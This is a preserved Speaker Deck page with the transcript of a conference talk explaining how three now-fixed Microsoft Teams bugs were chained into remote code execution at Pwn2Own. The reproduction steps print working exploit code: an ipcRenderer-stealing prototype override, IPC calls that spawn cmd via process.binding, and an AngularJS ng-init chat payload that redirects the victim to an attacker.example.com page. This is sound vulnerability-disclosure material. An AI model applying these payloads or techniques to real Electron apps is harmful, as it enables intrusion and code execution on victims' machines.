# How I Hacked Microsoft Teams and got $150,000 in Pwn2Own

**How I Hacked Microsoft Teams and got $150,000 in Pwn2Own** - @kinugawamasato, Masato Kinugawa, Speaker Deck.


- Published: 2023-07-31
- Original: <https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own>
- Preserved from: https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own (live) on 2026-08-09
- Licence: unknown




## Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

How I Hacked Microsoft Teams and got $150,000 in Pwn2Own - Speaker Deck

# How I Hacked Microsoft Teams and got $150,000 in Pwn2Own

English version of my presentation at Shibuya.XSS techtalk #12. : https://speakerdeck.com/masatokinugawa/shibuya-dot-xss-techtalk-number-12

[image: Avatar for Masato Kinugawa]

## Masato Kinugawa

July 31, 2023

## More Decks by Masato Kinugawa

See All by Masato Kinugawa

Shadow DOM - / Shibuya.XSS techtalk #13

[ [image: Avatar for Masato Kinugawa] masatokinugawa ] (https://speakerdeck.com/masatokinugawa)

0

890

Shadow DOM & Security - Exploring the boundary between light and shadow

[ [image: Avatar for Masato Kinugawa] masatokinugawa ]
(https://speakerdeck.com/masatokinugawa)

1

2.2k

-Firefox 4 - / Browser Crash Club #1

[ [image: Avatar for Masato Kinugawa] masatokinugawa ]
(https://speakerdeck.com/masatokinugawa)

1

1.2k

2 / Security.Tokyo #3

[ [image: Avatar for Masato Kinugawa] masatokinugawa ]
(https://speakerdeck.com/masatokinugawa)

8

4.4k

/ P3NFEST

[ [image: Avatar for Masato Kinugawa] masatokinugawa ]
(https://speakerdeck.com/masatokinugawa)

5

2.7k

Pwn2Own Microsoft Teams 2000 / Shibuya.XSS techtalk #12

[ [image: Avatar for Masato Kinugawa] masatokinugawa ]
(https://speakerdeck.com/masatokinugawa)

13

21k

JS DoS / Shibuya.XSS techtalk #11

[ [image: Avatar for Masato Kinugawa] masatokinugawa ]
(https://speakerdeck.com/masatokinugawa)

20

7.2k

Electron: Abusing the lack of context isolation - CureCon(en)

[ [image: Avatar for Masato Kinugawa] masatokinugawa ]
(https://speakerdeck.com/masatokinugawa)

5

110k

Electron: Context Isolation / Electron: Abusing the lack of context isolation - CurEcon(ja)

[ [image: Avatar for Masato Kinugawa] masatokinugawa ](https://speakerdeck.com/masatokinugawa)

9

29k

## Other Decks in Technology

See All in Technology

CEDEC2026

[ [image: Avatar for Cygames, Inc.] cygames ](https://speakerdeck.com/cygames)

PRO

1

180

Google Cloud Next Tokyo'26 Gemini Enterprise Oracle AI Database AI

[ [image: Avatar for KoheiOgawa] shisyu_gaku ](https://speakerdeck.com/shisyu_gaku)

0

210

AI

[ [image: Avatar for Recruit] recruitengineers ](https://speakerdeck.com/recruitengineers)

PRO

2

470

CEDEC2026 Shadowverse: Worlds Beyond

[ [image: Avatar for Cygames, Inc.] cygames ](https://speakerdeck.com/cygames)

PRO

1

930

AI Tableau Tableau MCP

[ [image: Avatar for Yukako Tabata] tbtykk ](https://speakerdeck.com/tbtykk)

0

110

SRE IVRy

[ [image: Avatar for abnoumaru] abnoumaru ](https://speakerdeck.com/abnoumaru)

0

330

AI Gemini Enterprise Agent Platform

[ [image: Avatar for Asei Sugiyama] asei ](https://speakerdeck.com/asei)

1

180

Web 2026

[ [image: Avatar for Recruit] recruitengineers ](https://speakerdeck.com/recruitengineers)

PRO

2

350

[ [image: Avatar for Nomizo Nomizo] nomizone ](https://speakerdeck.com/nomizone)

1

760

JavaScript (2026)

[ [image: Avatar for Recruit] recruitengineers ](https://speakerdeck.com/recruitengineers)

PRO

1

360

CEDEC2026

[ [image: Avatar for Cygames, Inc.] cygames ](https://speakerdeck.com/cygames)

PRO

0

110

[ [image: Avatar for Frieve-A] frievea ](https://speakerdeck.com/frievea)

0

250

## Featured

See All Featured

Optimizing for Happiness

[ [image: Avatar for Tom Preston-Werner] mojombo ](https://speakerdeck.com/mojombo)

378

71k

The Invisible Side of Design

[ [image: Avatar for Vitaly Friedman] smashingmag ](https://speakerdeck.com/smashingmag)

301

52k

Into the Great Unknown - MozCon

[ [image: Avatar for Noah Learner] thekraken ](https://speakerdeck.com/thekraken)

41

2.7k

Evolving SEO for Evolving Search Engines

[ [image: Avatar for Ryan Jones] ryanjones ](https://speakerdeck.com/ryanjones)

0

250

Automating Front-end Workflow

[ [image: Avatar for Addy Osmani] addyosmani ](https://speakerdeck.com/addyosmani)

1370

210k

Introduction to Domain-Driven Design and Collaborative software design

[ [image: Avatar for Kenny Baas-Schwegler] baasie ](https://speakerdeck.com/baasie)

1

920

Keith and Marios Guide to Fast Websites

[ [image: Avatar for Keith Pitt] keithpitt ](https://speakerdeck.com/keithpitt)

413

23k

The World Runs on Bad Software

[ [image: Avatar for Brandon Keepers] bkeepers ](https://speakerdeck.com/bkeepers)

PRO

72

12k

How to Talk to Developers About Accessibility

[ [image: Avatar for Jason CranfordTeague] jct ](https://speakerdeck.com/jct)

2

480

How to build an LLM SEO readiness audit: a practical framework

[ [image: Avatar for Nick Samuel] nmsamuel ](https://speakerdeck.com/nmsamuel)

1

830

Imperfection Machines: The Place of Print at Facebook

[ [image: Avatar for Scott Boms] scottboms ](https://speakerdeck.com/scottboms)

270

14k

XXLCSS - How to scale CSS and keep your sanity

[ [image: Avatar for Zaharenia Atzitzikaki] sugarenia ](https://speakerdeck.com/sugarenia)

249

1.3M

## Transcript

-

### How I Hacked Microsoft Teams and got $150,000 in Pwn2Own

2023/7/25 Shibuya.XSS techtalk #12 Masato Kinugawa

-

### whoami • Masato Kinugawa • I like XSS • 2010  2016:

Full-time bug bounty hunter • 2016  : Pentester of Cure53

-

### Today's topic • Technical details of vulnerabilities allowing RCE in

Microsoft Teams • I found them for Pwn2Own which was held in May 2022 and won • Non-technical topics about my experience with the contest can be heard in the following podcasts (* in Japanese) https://podcasters.spotify.com/pod/show/shhnjk/episodes/Web-e1s9jjl/a-a923e6v

-

## Pwn2Own? • Hacking contest by Trend Micro's ZDI(Zero Day Initiative)

• Held since 2007 • Goal: Find specific target's (mainly) RCE and make the demo successful within the defined time limit $$$ • That day's demo https://youtu.be/3fWo0E6Pa34?t=238 • The found vulns are notified to the vendor

-

## Target examples (in case of Pwn2Own Vancouver 2022) • Browser

(Chrome, Edge, Firefox, Safari) • Desktop app (Teams, Zoom, Adobe Reader, Office 365) • Car (Tesla) • VM(Virtual Box, VMware, Hyper-V) • Server(Microsoft Exchange, SharePoint, Windows RDP, Samba) • OS(Windows, Ubuntu) Pwn2Own Vancouver 2022 Rules (Web Archive): https://web.archive.org/web/20220516223600/https://www.zerodayiniti ative.com/Pwn2OwnVancouver2022Rules.html

-

## Microsoft Teams? • Needless to say, communication tool that enables

chat or video calls developed by Microsoft • There are two versions and different technology is used • 1.x: Electron Contest Target • 2.x: Edge WebView

-

## Three bugs I found 1. Lack of Context Isolation in

main window 2. XSS via chat message 3. JS execution via PluginHost outside sandbox I achieved RCE by combining these bugs

-

## Bug #1 1. Lack of Context Isolation in main window

1. XSS via chat message 3. JS execution via PluginHost outside sandbox

-

## Electron? • Framework for creating desktop applications with HTML, CSS

and JavaScript (Node.js) • Developed by GitHub • Examples of Electron app • Visual Studio Code • Discord • Slack • GitHub Desktop • Figma

-

## Electron basics const {BrowserWindow,app} = require('electron'); app.on('read y', function() { let

win = new BrowserWindow(); //Open Renderer Process win.loadURL( `file://${__dirname}/index.html` ); }); <html> <body> <h1>Hello Electron!</h1> </body> </html> Main process Renderer process main.js: index.html: • Electron has two types of processes • Browser part: Chromium

-

## The first part to check const {BrowserWindow,app} = require('electron'); app.on('ready',

function() { let win = new BrowserWindow(); //Open Renderer Process win.loadURL( `file://${__dirname}/index.html` ); }); <html> <body> <h1>Hello Electron!</h1> </body> </html> Main process Renderer process main.js: I always check this index.html:

-

## BrowserWindow • API for creating browser window • Focus on

options for this API • depending on the options, determine how RCE can be caused new BrowserWindow({ webPreferences: { nodeIntegration: false, contextIsolation: false, sandbox: true [...] } }); Important options

-

## nodeIntegration • Whether Node APIs (and Electorn's renderer process modul es)

are enabled on web page • If "true" and arbitrary JS exec is possible, RCE is possible just using require(): require('child_process').exec('calc'); false is used

-

## contextIsolation • Whether to separate the JS context between the

web page and part that allows node APIs • Part that allows node APIs: • Electron internal JS code • Preload scripts What happens if "false"? false is used

-

## If contextIsolation:fase • When arbitrary JS exec is possible, Node

API can be accessed, e.g. via overridden prototype (even if nodeIntegration:false) //Web page Function.prototype.call = function(arg) { arg.someDangerousNodeJSFunction(); } // Preload script or Electron internal code function someFunc(handler) { handler.call(objectContainingNodeJSFeature); }

-

## If contextIsolation:false //Web page Function.prototype.call = function(arg) { arg.someDangerousNodeJSFunction(); }

// Preload script or Electron internal code function someFunc(handler) { handler.call(objectContainingNodeJSFeature);//called } • When arbitrary JS exec is possible, Node API can be accessed, e.g. via overridden prototype (even if nodeIntegration:false)

-

## If contextIsolation:true • The overridden prototype does not affect JavaScript

on different context and RCE through this trick is prevented //Web page Function.prototype.call = function(arg) { arg.someDangerousNodeJSFunction(); } // Preload script or Electron internal code function someFunc(handler) { handler.call(objectContainingNodeJSFeature);//called } Built-in Function.prototype.call is called

-

## sandbox • Whether to use Chromium's sandbox • false is

the same as running Chrome with --no-sandbox flag • If false, it makes RCE easier via bugs such as memory corruption • In addition, if true, some APIs become unavailable in a context where the Node APIs are available , e.g: • APIs executing OS command/program (e.g. shell.openExternal) • APIs accessing clipboard without confirmation (clipboard module) • APIs accessing local files true is used

-

## What can be said from used options new BrowserWindow({ webPreferences:

{ nodeIntegration: false, contextIsolation: false, sandbox: true } });  When arbitrary JS exec is possible, due to sandbox, JS can't access Node APIs which lead to RCE directly but due to the lack of context isolation, other Node APIs may be accessible.

-

## Trying to access interesting Node APIs • When I'm trying

to get an interesting reference to exploitable Node API by overriding prototype of various built-in methods... • ipcRenderer module's reference came from overridden Function.prototype.call <script> Function.prototype._call = Function.prototype.call; Function.prototype.call = function(...args) { if (args[3] && args[3].name === "**webpack_require**") { ipc = args3.ipcRenderer; } return this._call(...args); } </script>

-

## [ipcRenderer module const { ipcMain } = require('electron'); [...] ipcMain.handle('test',] (https://files.speakerdeck.com/presentations/822da490117b42cd8a19bc8e2588305e/slide_20.jpg)

(evt, msg) => { console.log(msg);//hello return 'hey'; }); <h1>Hello Electron!</h1> Main process main.js: index.html: It is used to communicate between renderer and main process const { ipcRenderer } = require('electron'); ipcRenderer.invoke('test','hello'); .then(msg=>{ console.log(msg);//hey }); preload.js:  Main process has full access to Node APIs, so it may lead to RCE if there is an IPC listener which doesn't have proper validation Renderer process

-

## Given the fact so far 1 Find a way to

exec arbitrary JS, e.g.: • XSS • Redirect to arbitrary site 2 Find a part that leads to RCE, e.g.: • Find IPC listener which leads to RCE through ipcRenderer module retrieved from 1's js exec • Find exposed API which leads to RCE directly even if sandbox:true (In other words, find Electron 0-day) Now, I know the main window does not have contextIsolation and I can get ipcRenderer reference. The next thing to do is:

-

## Bug #2 1. Lack of Context Isolation in main window

1. XSS via chat message 3. JS execution via PluginHost outside sandbox

-

## Ideas to execute arbitrary JS • XSS • Redirect to

arbitrary site • The origin where the JS is executed is not important here • Because it allows interfering the part that uses Node APIs and achieving RCE if even arbitrary JS can be executed • In addition, according to the rules of Pwn2Own, it is necessary to achieve RCE without user interaction I decided to take a closer look at chat messages

-

## Checking HTML sanitizer • The chat allows users to use

some HTML/CSS • It displays HTML after sanitizing both on server and client-side  The sever-side sanitization is black-box, so I decided to check the client-side and try to guess the behavior

-

## Sanitization in client-side • sanitize-html library is used https://github.com/apostrophecms/sanitize-html •

Examples of what is sanitized: • HTML elements/attributes allowing script exec(XSS) • CSS allowing breaking layouts Unexpectedly, checking sanitization around CSS here led to the discovery of XSS...

-

## Sanitization for class attr • I found class attr's allow-list-ish

string in client-side JS code: e.htmlClasses = "swift-*,ts-image*, emojione,emoticon-*,animated-emoticon-*, copy-paste-table,hljs*,language-*,zoetrope, me-email-*,quoted-reply-color-*" • Actually, these classes were not removed by server/client-side sanitization • Looks like the asterisk part works as a wildcard

-

## Behavior of wildcard (swift-*) • Looks like anything except class

attr's separator (e.g. 0x20) is included there test test But...due to a certain JS resource, it leads to JS exec?! It's okay because arbitrary class name is not added?

-

## A certain JS resource = AngularJS • Teams used AngularJS

as a client-side Framework in some pages • The chat message part is one of them • These days it seems to be gradually being replaced by React Speaking of AngularJS...

-

## XSSer AngularJS • AngularJS is very useful library for

XSSer • Without using HTML tags, XSS is allowed via {{}} templates: • It introduces CSP bypass even if unsafe-eval is not set: <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.8.0/angular.js"> </script> <div ng-app> {{constructor.constructor('alert(1)')()}}  <meta http-equiv=Content-Security-Policy content="script-src ajax.googleapis.com"> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.8.0/angular.js"></script> <div ng-app> <img src=x ng-on-error=$event.target.ownerDocument.defaultView.alert(1)> 

-

## XSS found in the past • Actually, XSS via AngularJS

in MS Teams was found by security researchers in the past • It occurred due to a template string filter bypass by inserting a null char between {{}} {{3*333}\u0000} Details: https://github.com/oskarsve/ms-teams-rce The fact that this XSS occurs on single-page app is that probably Teams dynamically compiles user-input as AngularJS HTML (like inside ng-app attr)? I thought AngularJS XSS might still occur in other ways. When trying to find interesting features through AngularJS official doc, found this ...

-

## ngInit directive (1/2) • It is used for init process

before executing {{}} template • "Hello World!" is displayed from this: <html ng-app> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.8.0/angular.js"></script>  {{greeting}} {{person}}!  </html>  This attr's value is evaluated as AngularJS expression, so JS works via: ng-init attribute is of course sanitized. But...

-

## ngInit directive (2/2) • ngInit can be used via class

attr also • The following are the same: <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.8.0/angular.js"></script> <div ng-app> aaa  <ANY ng-init="expression">

... </ANY> <ANY class="ng-init: expression;"> ... </ANY> Official doc: https://docs.angularjs.org/api/ng/directive/ngInit The following code is also interpreted as AngularJS expression:  JS exec via class attribute!! * ng-class, ng-style, etc. also can be used in the same way

-

## How class directive is retrieved aaa aaa <strong

class="aaa!ng-init:expression">aaa aaa CLASS_DIRECTIVE_REGEXP = /(([\w-]+)(?::([^;]+))?;?)/, Retrieved by this regex  The following all classes work as ng-init directive: https://github.com/angular/angular.js/blob/47bf11ee94664367a26ed8c91b9b586d3dd420f5/src/ng/compile.js#L1384 If the swift-* wildcard's behavior is combined ...

-

## XSS! alert() is executed when I sent next HTML as

a chat message: <strong class="swift-x;ng- init: ['alert(document.domain)'].forEach($root.$$childHead.$$nextSibl ing.app.$window.eval)">aaa * The reason I used a slightly strange call here instead of "constructor" which I shown in other slides is that there is a sandbox that prevents arbitrary JS exec depending on the version of AngularJS (All versions have known bypasses though). Here, direct use of "constructor" was not allowed. Reference: AngularJS sandbox bypasses list by Gareth Heyes https://portswigger.net/research/xss-without-html-client-side-template-injection-with-angularjs Yay! But the goal is RCE. It still continues!

-

## What I was able to do so far • Found

a way to arbitrary JS execution • Found a way to get reference to IPCRenderer module by abusing the lack of context isolation So, the last step is to find IPC listener which does not perform input-validation correctly. When trying to find it, I noticed an interesting renderer called PluginHost...

-

## Bug #3 1. Lack of Context Isolation in main window

1. XSS via chat message 3. JS execution via PluginHost outside sandbox

-

## PluginHost • Invisible renderer called PluginHost exists • Apparently a

node module called "slimcore" loaded here is being operated from the main window via IPC • Here, sandbox: false • Maybe slimcore doesn't work when sandbox:true, so this renderer exists? "C:\Users\USER\AppData\Local\Microsoft\Teams\current\Teams.ex e" --type=renderer [...] --app-

path="C:\Users\USER\AppData\Local\Microsoft\Teams\current\res ources\app.asar" --no-sandbox [...] /prefetch:1 --msteams- process-type=pluginHost

-

## How slimcore is executed • Set IPC listeners in PluginHost's

preload script and execute through messages sent from main window • Main window can send message with API named sendToRendererSync which exists in the object retrieved through bug #1 • btw, this API does not exists in Electron's original ipcRenderer module, so maybe MS extended? ELECTRON_REMOTE_SERVER_REQUIRE ELECTRON_REMOTE_SERVER_MEMBER_GET ELECTRON_REMOTE_SERVER_FUNCTION_CALL There are IPC listeners named like:

-

## What the IPC listeners do • ELECTRON_REMOTE_SERVER_REQUIRE • Call require ()

with string specified in message • However, validation allows only allow-listed modules such as "slimcore" • ELECTRON_REMOTE_SERVER_MEMBER_GET • Perform property access using string specified in message • ELECTRON_REMOTE_SERVER_FUNCTION_CALL • Perform function call with string specified in message • (listeners for SET or other operations also exist)

-

## It's called like this: require('slimcore').func('arg'); 1. Send ELECTRON_REMOTE_SERVER_REQUIRE 3. Send

ELECTRON_REMOTE_SERVER_FUNCTION_CALL 2. Send ELECTRON_REMOTE_SERVER_MEMBER_GET Hm, I can smell something...

-

## Focus on MEMBER_GET's property access ELECTRON_REMOTE_SERVER_MEMBER_GET's code P(c.remoteServerMemberGet, (e,t,n,o)=>{ const

i = s.objectsRegistry.get(n); if (null == i) throw new Error( `Cannot get property '${o}' on missing remote object ${n}` ); return A(e, t, ()=>i[o]) } ) variable i: acccess-target's object variable o: accessed property This property access is done without any check such as hasOwnProperty(). This means...

-

## Object.prototype.* access is allowed require('slimcore').toString.constructor ('js-code')(); 1. REQUIRE 4. FUNCTION_CALL 2.

MEMBER_GET 3. MEMBER_GET 5. FUNCTION_CALL This allowed accessing Function() via constructor property and executing arbitrary JS!

-

## What can I do with this JS exec? • The

code is evaluated in the preload script's context • That means... it has access to Node API! • Additonally, sandbox:false, so no API restriction! The way to perform RCE in this context

-

## process.binding • Something like require() used in Node.js internal •

Only available when sandbox: false • In the child_process module, binding('spawn_sync') is used and by following the call here, command exec is possible: a = { "type": "pipe", "readable": 1, "writable": 1 }; b = { "file": "cmd", "args": ["/k", "start", "calc"], "stdio": [a, a] }; process.binding("spawn_sync").spawn(b); I learned this from Math.js RCE by @CapacitorSet & @denysvitali https://jwlss.pw/mathjs/

-

## FYI Can I use require()? require('slimcore') .toString.constructor("require('child_process')...")(); Why don't use require('child_process')

directly? This does not work. Why?

-

## Why require does not work Because Function() creates a function

executed within global scope 1: function (exports, require, module, __filename, __dirname) { console.log( `1: ${arguments.callee.toString()}` ); console.log( `2: ${eval('typeof require')}` ); console.log( `3: ${constructor.constructor('typeof require')()}` ); } 2: function 3: undefined console.log( `1: ${arguments.callee.toString()}` ); console.log( `2: ${eval('typeof require')}` ); console.log( `3: ${constructor.constructor('typeof require')()}` ); Load as preload script Exists in function scope

-

## Another way to exec command • Looks like other Pwn2Own

participants (@adm1nkyj1 & @jinmo123) also noticed the way to exec command via IPC • However, the last step to achive RCE is a bit different. They used eval call existing in preload scripts and called require('child_process'): Details: https://blog.pksecurity.io/2023/01/16/2022-microsoft-teams-rce.html#2- pluginhost-allows-dangerous-rpc-calls-from-any-webview function loadSlimCore(slimcoreLibPath) { let slimcore; if (utility.isWebpackRuntime()) { const slimcoreLibPathWebpack = slimcoreLibPath.replace(/\\/g, "\\\\"); slimcore = eval( `require('${slimcoreLibPathWebpack}')` ); [...] } [...] } Rewrite String.prototype.replace and change return value Arbitrary string is passed here (This is direct eval call, so it is executed within this function scope and require() access is allowed)

-

## all bugs aligned! 1. Lack of Context Isolation in main

window 2. XSS via chat message 3. JS execution via PluginHost outside sandbox Let's launch calc

-

## Steps to reproduce 1. Attacker creates a page containing the

following code <script> Function.prototype._call = Function.prototype.call; Function.prototype.call = function(...args) { if (args[3] && args[3].name === "**webpack_require**") { ipc = args3.ipcRenderer; } return this._call(...args); } </script> JS code to send IPC follows on the next page..... <script> ... JS code to get reference of ipcRenderer module:

-

[<script> setTimeout(function(){ ipc.invoke('calling:teams:ipc:initPluginHost',true).then((id)=>{ objid=ipc.sendToRendererSync(id,'ELECTRON_REMOTE_SERVER_REQUIRE',[[],'slimcore'],'')[0]['id']; objid=ipc.sendToRendererSync(id,'ELECTRON_REMOTE_SERVER_MEMBER_GET',[[],objid,'toString',[]],'')[0]['id']; objid=ipc.sendToRendererSync(id,'ELECTRON_REMOTE_SERVER_MEMBER_GET',[[],objid,'constructor',[]],'')[0]['id']; objid=ipc.sendToRendererSync(id,'ELECTRON_REMOTE_SERVER_FUNCTION_CALL',[[],objid,[{"type":"value","value": 'a={"type":"pipe","readable":1,"writable":1};b={"file":"cmd","args":["/k","start","calc"],"stdio":[a,a]}; process.binding("spawn_sync").spawn(b);'}]],'')[0]['id']; ipc.sendToRendererSync(id,'ELECTRON_REMOTE_SERVER_FUNCTION_CALL',[[],objid,[{"type":"value","value":""}]],'');]
(https://files.speakerdeck.com/presentations/822da490117b42cd8a19bc8e2588305e/slide_50.jpg)

}); },2000); </script> require('slimcore').toString.constructor('js-code')(); 1. REQUIRE 4. FUNCTION_CALL 2. MEMBER_GET 3. MEMBER_GET 5. FUNCTION_CALL Above code is for sending IPC to execute the following JS on PluginHost:

-

## Steps to reproduce 2. Send the following HTML as a

chat message <strong class="swift-x;ng- init: ['eval(decodeURIComponent(\'setTimeout(function()%7Blocation.replace(%27//attacker.example.com/poc.html%27)%7D,10000)\'))'].forEach($root.$$childHead.$$nextSibling.app.$window.eval)">aaa

-

## Steps to reproduce The final code executed by eval is

the following. It just navigates to attacker's site: setTimeout(function(){ location.replace('//attacker.example.com/poc.html'); },10000); Page created at step 1 (* No need to use setTimeout. I used it for clarity of demo.)

-

## Steps to reproduce 3. Victim opens the message (XSS is

triggered)

-

## Steps to reproduce After a while, a navigation to the

crafted page happens (https://attacker.example.com/poc.html)

-

## Steps to reproduce Suddenly calc is executed!!! (https://attacker.example.com/poc.html) DEMO: https://youtu.be/TMh_WbF9VnM

-

## All bugs were fixed • contextIsolation: Enabled in main window

now • XSS: Allowed only limited characters in the wildcard part • PluginHost: Applied web page's CSP to preload scripts • For this, contextIsolation on PluginHost was disabled. By doing so, looks like web page's CSP is applied to preload scripts and eval is disabled. hmm.. • btw, apparently latest Electron(tested on v25+) does not allow "eval" in preload scripts (Teams doesn't use the latest though) • "Uncaught EvalError: Code generation from strings disallowed for this context"

-

## That's all • Next, your turn!

-

## Thanks!! @kinugawamasato